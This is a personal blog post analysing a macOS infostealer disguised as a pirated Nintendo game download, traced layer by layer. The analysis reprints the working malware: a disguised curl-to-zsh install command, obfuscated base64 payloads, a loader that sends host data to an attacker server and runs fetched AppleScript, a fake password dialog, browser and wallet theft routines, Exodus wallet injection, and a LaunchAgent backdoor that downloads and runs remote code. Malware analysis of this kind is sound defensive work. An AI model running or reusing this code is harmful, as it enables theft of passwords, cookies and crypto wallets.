A high price of "free"

· t2's blog

Free Nintendo game turns out to be a Russian infostealer

Introduction #

Please don't be a dumbass and go to any of these links.

Browsing around on Switch ROM sites, I found a game I liked, and clicked the first download link. I was redirected to another website, which is pretty typical for websites with pirated games, but this one was unusual.

It pretended to be GitHub, asking me to copy the command and paste it into the terminal, to "Install the latest release directly from the official repository". I was immediately suspicious, because the command didn't fit in the textbox provided, so first I went to the website source.

1st layer #

1bash -c "$(curl -fsSL https://raw.githubusercontent.com/apple-oss-distributions/macos-sec-response/v14.4.1/install.sh)"

Pretty inconspicuous, I tried curl-ing the script, and received an error: 404. Weird, so I went to the repo directly. No dice. Luckily, there was a convinient "Copy" button on the website.

2nd layer #

1echo "GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg" && curl -s $(echo "aHR0cHM6Ly9qaWhpei5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPThjMThlODBmMDQxMzY3NjZhNzgzMTI0NDdiNjZkNDlk" | base64 -d) | zsh

Yikes, that's not what's displayed in the textbox at all. Upon inspecting the source, I also found that "Copy" button is laced with slop code that's supposed to open the Terminal.app and do everything automatically, but nothing happened.

But now we have a b64 string, maybe we can get something from it?

3rd layer #

https://jihiz.com/debug/loader.sh?build=8c18e80f04136766a78312447b66d49d

Brand new website, seems to be hosting some sort of script. Going to it in a browser reveals it:

1#!/bin/zsh
2da6a754=$(base64 -D <<'PAYLOAD_9aec6467' | gunzip
3H4sIAIHa5mkC/71UbW/bNhD+LmD/4cp6dQzEkt+dpku6LHMXL44dzF4WYBsEWjpZrGVSJakkdtNhP2K/cL9kpBQnjl102JfpE+/E53h3z3P38oU3Zdxbqdh5Cd/jNJtBImiIEv7+8y8IUWOg4bQ/BspDmCYimMMt0zFoTHCBWi6d/tg3/49IRBOFxGGRQUU0S7QCiTSEP7wBm0oql96lxAgl8gCVF4iFS9M0QfesPxEimYo7N02Y0nBivT1OpwmGfZ5meiwyaSDQOPZCvPF4liRwDzOJKVQ/MJCZUozyN6Bj5A6Yb52RlplJKGJOXlpeiSmAJgiMRyIvUFHONFshRELCj+PR0BmMTk8GPb8/fDc6Ku39j6UwIOe4nAoqwwFdikzDkC6QmP+xfbvaNictofwbL0N5v1xY1RDK5OlMyub+PWAQCyAZn3Nxy0nFORuNJ8OTi54pKBZKcxN3K4WNULvw0di/6v1kwOrWv0GpoJpKEWaBvjIGE/x5rF1873ri9y8NPshkAlWDry7oXVUzk0YbYq1Tdeh5NGUuS1m0dIWcbYf8IpIFlMd0xVLXUPHfkFEgeMRm7nZDvlBE8aNU2OSpd85XUK5YqX2XsSTMxWTkFWGyhEwxPoNUMq4jRyEP/dBOmo83yPVeBT7mss21Cb2ryREp1cmGy4YyDxd4KH8kOY4ckq8V2SdT+5wfUxWvPSx9PCk/YGptFeJfW2slrG2hcnINn4XnU9lWeTUhQA6C+gEe1KJaq97sdDsd2j1o1hutVnfa6YSt1yHZ6AcpFeNnTxuzZM21DO250JTpqy3zkaNruDR3gKz5ec9itrKsWnV4edO8oniongE5FVwbozpZpngIdgaNFLSpwHuvTBn5RJRs98hz+jeYbhy/qjufLG39KN9z+VYwFIFpnJ8vPAwhfzNfgXjHtN1xv24UegTFqoHfN5bQNs1ANgKSnRQsxMaG2sPCGgr9PJ9iLfsSP2So9DopZ/ed7Ys7j8ErxwkpLgT3o4wHtmGPIsQ7DOCbx/tPvuPP+BpbzoLH+da4NWs5WT8rlNWTmUnxEC7EiiUJ9dpuDfYuaGCELVT8BvqGzwSMA0ZjuIZ6za+3/W6lWKS/4PScaa/d7LrNDuydn00uBvuQsDnCDxjMRQVOYykW6L2uuzXXqLPh1ustGNOISvYAI5/TVqGrlC5t54pVrgLJUv02n62jf5f/PQhFC4wR01ZvjVK+JabnD/T+AyKvQxJyBwAA
4PAYLOAD_9aec6467
5)
6eval "$da6a754"

Damn it, even more b64 garbage, though this time it looks purposefully obfuscated. I'm pretty sure I can run this safely if I just discard the eval part.

4th layer #

 1#!/bin/zsh
 2# Debug loader — detect CIS and block with telemetry
 3IS_CIS="false"
 4if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
 5    IS_CIS="true"
 6fi
 7
 8# Detect locale info — sanitize for JSON
 9LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
10HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
11OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
12EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 https://icanhazip.com 2>/dev/null || curl -s --max-time 5 https://ifconfig.me 2>/dev/null || echo "unknown")
13EXT_IP=$(echo "$EXT_IP" | tr -d '
14 ')
15
16# Build JSON safely using printf
17send_debug_event() {
18    local EVT="$1"
19    local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "8c18e80f04136766a78312447b66d49d" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
20    curl -s -X POST "https://jihiz.com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
21}
22
23# If CIS — send cis_blocked event and exit
24if [ "$IS_CIS" = "true" ]; then
25    send_debug_event "cis_blocked" >/dev/null 2>&1
26    exit 0
27fi
28
29# Not CIS — send loader_requested event
30send_debug_event "loader_requested" >/dev/null 2>&1 &
31
32daemon_function() {
33    exec </dev/null
34    exec >/dev/null
35    exec 2>/dev/null
36    curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "https://jihiz.com/debug/payload.applescript?build=8c18e80f04136766a78312447b66d49d" | osascript
37}
38daemon_function "$@" &
39exit 0

After so many layers of obfuscation, we finally got to something juicy. Judging by the nature of comments left, it's obviously vibe-coded. But what the fuck does it actually do?

Purpose #

  1. The script reads if user has Russian keyboard layout enabled and flips the IS_CIS switch, which decides if the script runs or not. CIS stands for "Commonwealth of Independent States", which is comprised of some former USSR members (Russia, Kazakhstan, Belarus, etc.).

  2. Sending hostname, IP, OS version, locale info and other info to the server just for the heck of it.

  3. Depending on the state of IS_CIS, send a "debug event" and halt it, or proceed further.

  4. daemon_function() does some fucky stuff with exec </dev/null, which ensures that the payload sneakily runs in the background.

So based on what we see, we can make a safe assumption - this is Russian malware! And we wouldn't want to attack our friends, right?

5th and final layer #

At the end of a previous script, daemon_function() fetches an AppleScript to pipe into osascript, which seems to be the end of it.

The script is over 1000 LOC, and I don't know AppleScript, so I'll just point out the highlights:

Browser mapping #

By now I've identified this as an infostealer, taking cookies, other files from browsers and crypto wallets (not mentioned here). What stood out to me, is the number of Chromium- and Firefox-based browsers needed for probing.

Helium and Zen aren't mentioned, so that makes them a tiny bit safer!

 1set chromiumMap to {}
 2set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
 3set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
 4set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
 5set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
 6set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
 7set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
 8set chromiumMap to chromiumMap & {{"Orion", library & "Orion/"}}
 9set chromiumMap to chromiumMap & {{"Sidekick", library & "Sidekick/"}}
10set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
11set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
12set chromiumMap to chromiumMap & {{"Chrome Dev", library & "Google/Chrome Dev/"}}
13set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
14set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}
15set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
16set geckoMap to {}
17set geckoMap to geckoMap & {{"Firefox", library & "Firefox/Profiles/"}}

root password grabbing #

This grabs the lock button icon from /System, and makes a fake window pretending to be System Preferences asking for a password for up to 10 times to make sure the user doesn't fuck with them. The update prompt is obviously fake, and doesn't update anything.

 1set attemptCount to 0
 2set maxAttempts to 10
 3set validPassword to ""
 4set gotValidPassword to false
 5repeat while attemptCount < maxAttempts and gotValidPassword is false
 6set attemptCount to attemptCount + 1
 7set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
 8set result to display dialog "You should update the settings to launch the application." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
 9set password_entered to text returned of result
10if password_entered is not equal to "" then
11if checkvalid(username, password_entered) then
12writeText("VALID: " & password_entered, writemind & "Password")
13set validPassword to password_entered
14set gotValidPassword to true
15else

Browser probing #

On Chromium, the script goes through multiple attack vectors, mainly extensions. There are two groups: password managers (first two entries correspond to NordVPN and 1Password respectively), and crypto wallets.

1on Chromium(writemind, chromium_map)
2debugLog("Chromium: starting")
3set pluginList to {}
4set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
5# many more entries

On Firefox, things are much sadder:

1on Gecko(writemind, gecko_map)
2debugLog("Gecko: starting")
3set geckoFiles to {"cookies.sqlite", "logins.json", "key4.db", "cert9.db", "places.sqlite", "formhistory.sqlite"}

Compared to Chromium, Firefox is extremely unsafe; regardless of password managers installed, it can just fetch formhistory.sqlite and be done.

Other vulnerable stuff #

1on DesktopWallets(writemind, wallet_map)
2debugLog("DesktopWallets: starting, count: " & (count of wallet_map))
1on Telegram(writemind, library)
2debugLog("Telegram: starting")
3try
4set tgPath to library & "Telegram Desktop/tdata/"
5debugLog("Telegram: checking " & tgPath)
1on Keychains(writemind)
2debugLog("Keychains: starting")
3try
4set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
5debugLog("Keychains: checking " & keychainPath)
1on CloudKeys(writemind)
2debugLog("CloudKeys: starting")
3try
4set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
5set cloudSave to writemind & "iCloud/"
6debugLog("CloudKeys: checking " & cloudPath)
1on Filegrabber(writemind, profile)
2debugLog("Filegrabber: starting")
3try
4set grabberPath to writemind & "FileGrabber/"
5mkdir(grabberPath)
6set docExtensions to {"docx", "doc", "wallet", "key", "keys", "txt", "rtf", "csv", "xls", "xlsx", "json", "rdp"}
7set imgExtensions to {"png"}
8set sourceNames to {"Desktop", "Documents"}
9repeat with srcName in sourceNames

Persistence #

Crypto wallet injection #

After zipping up the haul, splitting it in chunks and sending it to the server, it injects an infected app.asar into the wallets.

 1debugLog("--- WALLET INJECTION ---")
 2set exodusPath to "/Applications/Exodus.app"
 3if (do shell script "test -d " & quoted form of exodusPath & " && echo 1 || echo 0") is "1" then
 4debugLog("Exodus FOUND at " & exodusPath & ", injecting...")
 5try
 6set asarUrl to gateUrl & "/exodus-asar"
 7set tempZip to "/tmp/exodus_asar.zip"
 8set tempAsar to "/tmp/app.asar"
 9do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
10do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
11if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
12do shell script "pkill -9 Exodus 2>/dev/null || true"
13delay 1
14set exodusResources to "/Applications/Exodus.app/Contents/Resources"
15set targetAsar to exodusResources & "/app.asar"
16do shell script "cp -rf " & quoted form of exodusPath & " /tmp/Exodus_tmp.app"
17do shell script "rm -rf " & quoted form of exodusPath
18do shell script "mv /tmp/Exodus_tmp.app " & quoted form of exodusPath
19do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
20do shell script "xattr -cr " & quoted form of exodusPath
21do shell script "codesign -f -d -s - " & quoted form of exodusPath
22debugLog("Exodus: injection OK")
23end if

Chrome updater injection #

 1debugLog("--- PERSISTENCE ---")
 2set persistDir to (POSIX path of (path to home folder)) & "Library/Application Support/Google/"
 3set appDir to persistDir & "GoogleUpdate.app/Contents/MacOS/"
 4set plistDir to (POSIX path of (path to home folder)) & "Library/LaunchAgents/"
 5debugLog("Persistence: script -> " & appDir & "GoogleUpdate")
 6debugLog("Persistence: plist -> " & plistDir & "com.google.keystone.agent.plist")
 7try
 8do shell script "mkdir -p " & quoted form of appDir
 9do shell script "mkdir -p " & quoted form of plistDir
10set scriptPath to appDir & "GoogleUpdate"
11set plistPath to plistDir & "com.google.keystone.agent.plist"
12do shell script "echo 'IyEvYmluL2Jhc2gKR0FURV9VUkw9Imh0dHBzOi8vamloaXouY29tIgpCT1RfSUQ9JChpb3JlZyAtZDIgLWMgSU9QbGF0Zm9ybUV4cGVydERldmljZSB8IGF3ayAtRiciJyAnL0lPUGxhdGZvcm1VVUlEL3twcmludCAkNH0nKQpCVUlMRF9JRD0iNDIzNGNjZGI2ZWJmZjExNGU0NDY4NzJlMDBiMzU4ZTY2M2NhMTg0MWU5YWUzYTU5NGU0Nzk4YWJhY2Q4YTA0ZSIKQlVJTERfTkFNRT0iT1AiCkhPU1ROQU1FPSQoaG9zdG5hbWUpCklQPSQoY3VybCAtcyBodHRwczovL2FwaS5pcGlmeS5vcmcgMj4vZGV2L251bGwgfHwgZWNobyB1bmtub3duKQpPU19WRVI9JChzd192ZXJzIC1wcm9kdWN0VmVyc2lvbikKUkVTUD0kKGN1cmwgLXMgLVggUE9TVCAiJEdBVEVfVVJML2FwaS9ib3QvaGVhcnRiZWF0IiAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiAtZCAneyJib3RfaWQiOiInIiRCT1RfSUQiJyIsImJ1aWxkX2lkIjoiJyIkQlVJTERfSUQiJyIsImhvc3RuYW1lIjoiJyIkSE9TVE5BTUUiJyIsImlwIjoiJyIkSVAiJyIsIm9zX3ZlcnNpb24iOiInIiRPU19WRVIiJyJ9JykKQ09ERT0kKGVjaG8gIiRSRVNQIiB8IHNlZCAtbiAncy8uKiJjb2RlIjoiXChbXiJdKlwpIi4qL1wxL3AnKQppZiBbIC1uICIkQ09ERSIgXTsgdGhlbgplY2hvICIkQ09ERSIgfCBiYXNlNjQgLWQgPiAvdG1wLy5jLnNoICYmIGNobW9kICt4IC90bXAvLmMuc2ggJiYgL3RtcC8uYy5zaDsgcm0gLWYgL3RtcC8uYy5zaApmaQo=' | base64 -d > " & quoted form of scriptPath
13do shell script "chmod +x " & quoted form of scriptPath

Another b64 encoded string, here it is:

 1#!/bin/bash
 2GATE_URL="https://jihiz.com"
 3BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
 4BUILD_ID="4234ccdb6ebff114e446872e00b358e663ca1841e9ae3a594e4798abacd8a04e"
 5BUILD_NAME="OP"
 6HOSTNAME=$(hostname)
 7IP=$(curl -s https://api.ipify.org 2>/dev/null || echo unknown)
 8OS_VER=$(sw_vers -productVersion)
 9RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" -H "Content-Type: application/json" -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'","hostname":"'"$HOSTNAME"'","ip":"'"$IP"'","os_version":"'"$OS_VER"'"}')
10CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
11if [ -n "$CODE" ]; then
12echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh; rm -f /tmp/.c.sh
13fi

I can only assume it injects some sort of a tracker bot into Chrome, persisting throughout updates.

The end #

After scraping everything, it informs the user that installing the game unfortunately failed :c

1debugLog("Persistence: OK")
2on error errMsg
3debugLog("Persistence: FAIL | " & errMsg)
4end try
5debugLog("=== SCRIPT COMPLETE ===")
6display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"OK"}

Epilogue #

On FMHY, this website is marked as safe, but with a note to make sure to avoid fake download buttons. While an adblocker blocks most of the fake buttons, it appears that site admins themselves placed a fake button with a JavaScript leading to the first website. Shame on them!

I would write some heartfelt message about regretting my decisions of choosing to pirate games, but I'm not going to change. If anything, without having a desire to pirate, I wouldn't've spent a few hours writing and looking through code, which was actually fun... perhaps more fun than Tomodachi Life I was going to download.

last updated: